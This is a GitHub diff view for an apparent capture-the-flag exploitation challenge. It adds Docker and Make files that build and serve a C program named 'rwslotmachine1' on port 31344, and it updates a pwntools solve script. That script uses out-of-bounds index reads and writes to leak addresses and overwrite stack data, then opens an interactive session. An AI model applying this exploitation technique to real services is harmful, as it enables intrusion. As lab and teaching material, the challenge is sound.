Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# Stage 1: Build Stage
FROM gcc:latest AS build

WORKDIR /app

COPY rwslotmachine1.c .
COPY Makefile.sol Makefile

RUN make

# Stage 2: Runtime Stage
FROM ubuntu:latest

WORKDIR /app

COPY --from=build /app/rwslotmachine1 /app/rwslotmachine1

EXPOSE 31344

# Run the application
CMD ["./rwslotmachine1"]
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
IMAGE_NAME = ransomware1
CONTAINER_NAME = ransomware1_container
PORT = 31344

# Build the Docker image
build:
docker build -t $(IMAGE_NAME) .

# Run the Docker container
run:
docker run -it --rm -p $(PORT):$(PORT) --name $(CONTAINER_NAME) $(IMAGE_NAME)

# Stop the Docker container
stop:
docker stop $(CONTAINER_NAME)

# Clean up the Docker image
clean:
docker rmi $(IMAGE_NAME)
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
CC = gcc
CFLAGS = -Wall -Wextra -O2

TARGET = rwslotmachine1
SRC = rwslotmachine1.c

all: $(TARGET)

$(TARGET): $(SRC)
$(CC) $(CFLAGS) -o $(TARGET) $(SRC)

clean:
rm -f $(TARGET)
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
from pwn import *

local = False
local = True
# Both solutions work against the Docker container instance.
# Only solution 2 works locally.
# Solution 1 fails on the local machine because there is no valid address at that index.
Expand All @@ -13,21 +13,23 @@


def do_read(idx):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("]: ")
return int(p.recvuntil("\n")[:-1], 16)
p.recvuntil(b">")
p.sendline(b"1")
p.recvuntil(b"index:")
p.sendline(str(idx).encode())
p.recvuntil(b"]: ")
leak = p.recvline().strip()
print(f"Raw Leak: {leak}")
return int(leak, 16)


def do_write(idx, value):
p.recvuntil(">")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("value:")
p.sendline(hex(value))
p.recvuntil(b">")
p.sendline(b"2")
p.recvuntil(b"index:")
p.sendline(str(idx).encode())
p.recvuntil(b"value:")
p.sendline(hex(value).encode())


if SOLUTION == 1:
Expand All @@ -45,4 +47,4 @@ def do_write(idx, value):

do_write(-8, stack_slots)

p.interactive()
p.interactive()